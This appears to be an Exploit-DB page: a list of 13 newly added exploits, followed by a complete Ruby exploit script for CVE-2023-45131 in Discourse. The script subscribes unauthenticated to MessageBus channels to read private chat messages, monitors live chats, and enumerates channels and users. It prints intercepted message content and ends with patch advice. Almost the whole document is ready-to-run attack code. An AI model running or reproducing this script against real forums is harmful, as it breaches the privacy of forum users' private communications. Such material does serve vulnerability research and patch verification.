
13 changes to exploits/shellcodes/ghdb Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow Discourse 3.1.1 - Unauthenticated Chat Message Access Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE Simple File List WordPress Plugin 4.2.2 - File Upload to RCE Joomla JS Jobs plugin 1.4.2 - SQL injection LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Department Assignment Alias Nick Field LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Facebook Integration Page Name Field LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Operator Surname LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Personal Canned Messages LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Telegram Bot Username LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via the Chat Transfer Function Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
565 lines
No EOL
17 KiB
Ruby
Executable file
565 lines
No EOL
17 KiB
Ruby
Executable file
#!/usr/bin/env ruby
|
|
# Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
|
|
# CVE-2023-45131
|
|
# CVSS: 7.5 (High)
|
|
# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
|
|
# Author ibrahimsql @ https://twitter.com/ibrahmsql
|
|
# Date: 2023-12-14
|
|
|
|
require 'net/http'
|
|
require 'uri'
|
|
require 'json'
|
|
require 'openssl'
|
|
require 'base64'
|
|
|
|
class CVE202345131
|
|
def initialize(target_url)
|
|
@target_url = target_url.chomp('/')
|
|
@results = []
|
|
@message_bus_client_id = nil
|
|
@csrf_token = nil
|
|
end
|
|
|
|
def run_exploit
|
|
puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
|
|
puts "[*] Target: #{@target_url}"
|
|
puts "[*] CVSS Score: 7.5 (High)"
|
|
puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"
|
|
|
|
# Test MessageBus access
|
|
test_messagebus_access
|
|
test_chat_channel_enumeration
|
|
test_private_message_access
|
|
test_real_time_monitoring
|
|
test_message_history_access
|
|
test_user_enumeration_via_chat
|
|
|
|
generate_report
|
|
@results
|
|
end
|
|
|
|
private
|
|
|
|
def test_messagebus_access
|
|
puts "[*] Testing MessageBus unauthenticated access..."
|
|
|
|
begin
|
|
# Get MessageBus client ID
|
|
uri = URI("#{@target_url}/message-bus/poll")
|
|
|
|
response = make_request(uri, 'GET')
|
|
|
|
if response && response.code == '200'
|
|
begin
|
|
data = JSON.parse(response.body)
|
|
if data.is_a?(Array) && !data.empty?
|
|
@message_bus_client_id = extract_client_id(response)
|
|
|
|
@results << {
|
|
vulnerability: "MessageBus Access",
|
|
severity: "High",
|
|
description: "Unauthenticated access to MessageBus endpoint confirmed",
|
|
impact: "Can monitor real-time messages and notifications",
|
|
client_id: @message_bus_client_id
|
|
}
|
|
puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
|
|
return true
|
|
end
|
|
rescue JSON::ParserError
|
|
# Try alternative endpoints
|
|
test_alternative_messagebus_endpoints
|
|
end
|
|
end
|
|
rescue => e
|
|
puts "[!] Error testing MessageBus access: #{e.message}"
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def test_alternative_messagebus_endpoints
|
|
puts "[*] Testing alternative MessageBus endpoints..."
|
|
|
|
endpoints = [
|
|
"/message-bus/poll",
|
|
"/message-bus/subscribe",
|
|
"/message-bus/diagnostics",
|
|
"/message-bus/long-poll"
|
|
]
|
|
|
|
endpoints.each do |endpoint|
|
|
begin
|
|
uri = URI("#{@target_url}#{endpoint}")
|
|
response = make_request(uri, 'GET')
|
|
|
|
if response && response.code == '200'
|
|
if response.body.include?('message-bus') || response.body.include?('clientId')
|
|
@results << {
|
|
vulnerability: "Alternative MessageBus Endpoint",
|
|
severity: "Medium",
|
|
endpoint: endpoint,
|
|
description: "Alternative MessageBus endpoint accessible",
|
|
impact: "Potential message monitoring capability"
|
|
}
|
|
puts "[+] Alternative endpoint accessible: #{endpoint}"
|
|
end
|
|
end
|
|
rescue => e
|
|
puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
|
|
end
|
|
end
|
|
end
|
|
|
|
def test_chat_channel_enumeration
|
|
puts "[*] Testing chat channel enumeration..."
|
|
|
|
return unless @message_bus_client_id
|
|
|
|
begin
|
|
# Try to enumerate chat channels
|
|
uri = URI("#{@target_url}/message-bus/poll")
|
|
|
|
# Subscribe to chat channels
|
|
data = {
|
|
'/chat/new-messages' => -1,
|
|
'/chat/channel-status' => -1,
|
|
'/chat/user-tracking' => -1,
|
|
'clientId' => @message_bus_client_id
|
|
}
|
|
|
|
response = make_request(uri, 'POST', data)
|
|
|
|
if response && response.code == '200'
|
|
begin
|
|
messages = JSON.parse(response.body)
|
|
|
|
if messages.is_a?(Array) && !messages.empty?
|
|
chat_channels = extract_chat_channels(messages)
|
|
|
|
if !chat_channels.empty?
|
|
@results << {
|
|
vulnerability: "Chat Channel Enumeration",
|
|
severity: "High",
|
|
channels: chat_channels,
|
|
description: "Enumerated accessible chat channels",
|
|
impact: "Can identify active chat channels and participants"
|
|
}
|
|
puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
|
|
end
|
|
end
|
|
rescue JSON::ParserError => e
|
|
puts "[!] Error parsing chat channel response: #{e.message}"
|
|
end
|
|
end
|
|
rescue => e
|
|
puts "[!] Error enumerating chat channels: #{e.message}"
|
|
end
|
|
end
|
|
|
|
def test_private_message_access
|
|
puts "[*] Testing private message access..."
|
|
|
|
return unless @message_bus_client_id
|
|
|
|
begin
|
|
# Try to access private messages
|
|
uri = URI("#{@target_url}/message-bus/poll")
|
|
|
|
# Subscribe to private message channels
|
|
data = {
|
|
'/private-messages' => -1,
|
|
'/chat/private' => -1,
|
|
'/notification' => -1,
|
|
'clientId' => @message_bus_client_id
|
|
}
|
|
|
|
response = make_request(uri, 'POST', data)
|
|
|
|
if response && response.code == '200'
|
|
begin
|
|
messages = JSON.parse(response.body)
|
|
|
|
if messages.is_a?(Array)
|
|
private_messages = extract_private_messages(messages)
|
|
|
|
if !private_messages.empty?
|
|
@results << {
|
|
vulnerability: "Private Message Access",
|
|
severity: "Critical",
|
|
messages: private_messages,
|
|
description: "Accessed private chat messages without authentication",
|
|
impact: "Complete breach of private communication confidentiality"
|
|
}
|
|
puts "[+] Private messages accessed: #{private_messages.length} messages found"
|
|
|
|
# Log sample messages (redacted)
|
|
private_messages.first(3).each_with_index do |msg, idx|
|
|
puts " [#{idx + 1}] #{redact_message(msg)}"
|
|
end
|
|
end
|
|
end
|
|
rescue JSON::ParserError => e
|
|
puts "[!] Error parsing private message response: #{e.message}"
|
|
end
|
|
end
|
|
rescue => e
|
|
puts "[!] Error accessing private messages: #{e.message}"
|
|
end
|
|
end
|
|
|
|
def test_real_time_monitoring
|
|
puts "[*] Testing real-time message monitoring..."
|
|
|
|
return unless @message_bus_client_id
|
|
|
|
begin
|
|
puts "[*] Monitoring for 10 seconds..."
|
|
|
|
start_time = Time.now
|
|
monitored_messages = []
|
|
|
|
while (Time.now - start_time) < 10
|
|
uri = URI("#{@target_url}/message-bus/poll")
|
|
|
|
data = {
|
|
'/chat/new-messages' => 0,
|
|
'clientId' => @message_bus_client_id
|
|
}
|
|
|
|
response = make_request(uri, 'POST', data)
|
|
|
|
if response && response.code == '200'
|
|
begin
|
|
messages = JSON.parse(response.body)
|
|
|
|
if messages.is_a?(Array) && !messages.empty?
|
|
new_messages = extract_new_messages(messages)
|
|
monitored_messages.concat(new_messages)
|
|
end
|
|
rescue JSON::ParserError
|
|
# Continue monitoring
|
|
end
|
|
end
|
|
|
|
sleep(1)
|
|
end
|
|
|
|
if !monitored_messages.empty?
|
|
@results << {
|
|
vulnerability: "Real-time Message Monitoring",
|
|
severity: "High",
|
|
messages_count: monitored_messages.length,
|
|
description: "Successfully monitored real-time chat messages",
|
|
impact: "Can intercept live communications"
|
|
}
|
|
puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted"
|
|
else
|
|
puts "[-] No real-time messages detected during monitoring period"
|
|
end
|
|
rescue => e
|
|
puts "[!] Error during real-time monitoring: #{e.message}"
|
|
end
|
|
end
|
|
|
|
def test_message_history_access
|
|
puts "[*] Testing message history access..."
|
|
|
|
begin
|
|
# Try to access message history through various endpoints
|
|
history_endpoints = [
|
|
"/chat/api/channels",
|
|
"/chat/api/messages",
|
|
"/chat/history",
|
|
"/api/chat/channels.json"
|
|
]
|
|
|
|
history_endpoints.each do |endpoint|
|
|
uri = URI("#{@target_url}#{endpoint}")
|
|
response = make_request(uri, 'GET')
|
|
|
|
if response && response.code == '200'
|
|
begin
|
|
data = JSON.parse(response.body)
|
|
|
|
if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat'])
|
|
@results << {
|
|
vulnerability: "Message History Access",
|
|
severity: "High",
|
|
endpoint: endpoint,
|
|
description: "Accessed chat message history without authentication",
|
|
impact: "Historical chat data exposure"
|
|
}
|
|
puts "[+] Message history accessible via: #{endpoint}"
|
|
end
|
|
rescue JSON::ParserError
|
|
# Check for HTML responses that might contain chat data
|
|
if response.body.include?('chat') && response.body.include?('message')
|
|
@results << {
|
|
vulnerability: "Message History Exposure",
|
|
severity: "Medium",
|
|
endpoint: endpoint,
|
|
description: "Chat-related content found in response",
|
|
impact: "Potential information disclosure"
|
|
}
|
|
puts "[+] Chat-related content found in: #{endpoint}"
|
|
end
|
|
end
|
|
end
|
|
end
|
|
rescue => e
|
|
puts "[!] Error testing message history access: #{e.message}"
|
|
end
|
|
end
|
|
|
|
def test_user_enumeration_via_chat
|
|
puts "[*] Testing user enumeration via chat features..."
|
|
|
|
begin
|
|
# Try to enumerate users through chat-related endpoints
|
|
user_endpoints = [
|
|
"/chat/api/users",
|
|
"/chat/users.json",
|
|
"/api/chat/users",
|
|
"/chat/members"
|
|
]
|
|
|
|
user_endpoints.each do |endpoint|
|
|
uri = URI("#{@target_url}#{endpoint}")
|
|
response = make_request(uri, 'GET')
|
|
|
|
if response && response.code == '200'
|
|
begin
|
|
data = JSON.parse(response.body)
|
|
|
|
if data.is_a?(Hash) && (data['users'] || data['members'])
|
|
users = extract_users_from_chat(data)
|
|
|
|
if !users.empty?
|
|
@results << {
|
|
vulnerability: "User Enumeration via Chat",
|
|
severity: "Medium",
|
|
endpoint: endpoint,
|
|
users_count: users.length,
|
|
sample_users: users.first(5),
|
|
description: "Enumerated chat users without authentication",
|
|
impact: "User information disclosure"
|
|
}
|
|
puts "[+] Users enumerated via #{endpoint}: #{users.length} users found"
|
|
end
|
|
end
|
|
rescue JSON::ParserError
|
|
# Continue with next endpoint
|
|
end
|
|
end
|
|
end
|
|
rescue => e
|
|
puts "[!] Error testing user enumeration: #{e.message}"
|
|
end
|
|
end
|
|
|
|
def extract_client_id(response)
|
|
# Extract client ID from response headers or body
|
|
if response['X-MessageBus-Client-Id']
|
|
return response['X-MessageBus-Client-Id']
|
|
end
|
|
|
|
# Try to extract from response body
|
|
begin
|
|
data = JSON.parse(response.body)
|
|
if data.is_a?(Hash) && data['clientId']
|
|
return data['clientId']
|
|
end
|
|
rescue JSON::ParserError
|
|
end
|
|
|
|
# Generate a random client ID
|
|
SecureRandom.hex(16)
|
|
end
|
|
|
|
def extract_chat_channels(messages)
|
|
channels = []
|
|
|
|
messages.each do |message|
|
|
if message.is_a?(Hash)
|
|
if message['channel'] && message['channel'].include?('/chat/')
|
|
channels << message['channel']
|
|
elsif message['data'] && message['data'].is_a?(Hash)
|
|
if message['data']['channel_id']
|
|
channels << "Channel #{message['data']['channel_id']}"
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
channels.uniq
|
|
end
|
|
|
|
def extract_private_messages(messages)
|
|
private_msgs = []
|
|
|
|
messages.each do |message|
|
|
if message.is_a?(Hash)
|
|
if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private'))
|
|
private_msgs << {
|
|
channel: message['channel'],
|
|
data: message['data'],
|
|
timestamp: message['timestamp'] || Time.now.to_i
|
|
}
|
|
elsif message['data'] && message['data'].is_a?(Hash)
|
|
if message['data']['message'] || message['data']['content']
|
|
private_msgs << {
|
|
content: message['data']['message'] || message['data']['content'],
|
|
user: message['data']['user'] || message['data']['username'],
|
|
timestamp: message['data']['timestamp'] || Time.now.to_i
|
|
}
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
private_msgs
|
|
end
|
|
|
|
def extract_new_messages(messages)
|
|
new_msgs = []
|
|
|
|
messages.each do |message|
|
|
if message.is_a?(Hash) && message['data']
|
|
new_msgs << {
|
|
channel: message['channel'],
|
|
data: message['data'],
|
|
timestamp: Time.now.to_i
|
|
}
|
|
end
|
|
end
|
|
|
|
new_msgs
|
|
end
|
|
|
|
def extract_users_from_chat(data)
|
|
users = []
|
|
|
|
if data['users'] && data['users'].is_a?(Array)
|
|
data['users'].each do |user|
|
|
if user.is_a?(Hash)
|
|
users << {
|
|
username: user['username'],
|
|
id: user['id'],
|
|
name: user['name']
|
|
}
|
|
end
|
|
end
|
|
elsif data['members'] && data['members'].is_a?(Array)
|
|
data['members'].each do |member|
|
|
if member.is_a?(Hash)
|
|
users << {
|
|
username: member['username'] || member['user'],
|
|
id: member['id'] || member['user_id']
|
|
}
|
|
end
|
|
end
|
|
end
|
|
|
|
users
|
|
end
|
|
|
|
def redact_message(message)
|
|
if message.is_a?(Hash)
|
|
content = message[:content] || message['content'] || message[:data] || 'N/A'
|
|
user = message[:user] || message['user'] || 'Unknown'
|
|
"User: #{user}, Content: #{content.to_s[0..50]}..."
|
|
else
|
|
message.to_s[0..50] + "..."
|
|
end
|
|
end
|
|
|
|
def make_request(uri, method = 'GET', data = nil, headers = {})
|
|
begin
|
|
http = Net::HTTP.new(uri.host, uri.port)
|
|
http.use_ssl = (uri.scheme == 'https')
|
|
http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
|
|
http.read_timeout = 10
|
|
http.open_timeout = 10
|
|
|
|
request = case method.upcase
|
|
when 'GET'
|
|
Net::HTTP::Get.new(uri.request_uri)
|
|
when 'POST'
|
|
req = Net::HTTP::Post.new(uri.request_uri)
|
|
if data
|
|
if data.is_a?(Hash)
|
|
req.set_form_data(data)
|
|
else
|
|
req.body = data
|
|
req['Content-Type'] = 'application/json'
|
|
end
|
|
end
|
|
req
|
|
end
|
|
|
|
# Set headers
|
|
request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)'
|
|
request['Accept'] = 'application/json, text/javascript, */*; q=0.01'
|
|
request['X-Requested-With'] = 'XMLHttpRequest'
|
|
headers.each { |key, value| request[key] = value }
|
|
|
|
response = http.request(request)
|
|
return response
|
|
rescue => e
|
|
puts "[!] Request failed: #{e.message}"
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def generate_report
|
|
puts "\n" + "="*60
|
|
puts "CVE-2023-45131 Exploitation Report"
|
|
puts "="*60
|
|
puts "Target: #{@target_url}"
|
|
puts "Vulnerabilities Found: #{@results.length}"
|
|
|
|
if @results.empty?
|
|
puts "[+] No chat message access vulnerabilities detected"
|
|
else
|
|
puts "\n[!] VULNERABILITIES DETECTED:"
|
|
@results.each_with_index do |result, index|
|
|
puts "\n#{index + 1}. #{result[:vulnerability]}"
|
|
puts " Severity: #{result[:severity]}"
|
|
puts " Description: #{result[:description]}"
|
|
puts " Impact: #{result[:impact]}"
|
|
|
|
if result[:messages_count]
|
|
puts " Messages Found: #{result[:messages_count]}"
|
|
end
|
|
if result[:channels]
|
|
puts " Channels: #{result[:channels].join(', ')}"
|
|
end
|
|
if result[:endpoint]
|
|
puts " Endpoint: #{result[:endpoint]}"
|
|
end
|
|
end
|
|
|
|
puts "\n[!] REMEDIATION:"
|
|
puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later"
|
|
puts "2. Implement proper authentication for MessageBus endpoints"
|
|
puts "3. Review and restrict access to chat-related APIs"
|
|
puts "4. Monitor MessageBus access logs for suspicious activity"
|
|
puts "5. Consider disabling chat features if not required"
|
|
end
|
|
|
|
puts "\n" + "="*60
|
|
end
|
|
end
|
|
|
|
# Run the exploit if called directly
|
|
if __FILE__ == $0
|
|
if ARGV.length != 1
|
|
puts "Usage: ruby #{$0} <target_url>"
|
|
puts "Example: ruby #{$0} https://discourse.example.com"
|
|
exit 1
|
|
end
|
|
|
|
target_url = ARGV[0]
|
|
exploit = CVE202345131.new(target_url)
|
|
exploit.run_exploit
|
|
end |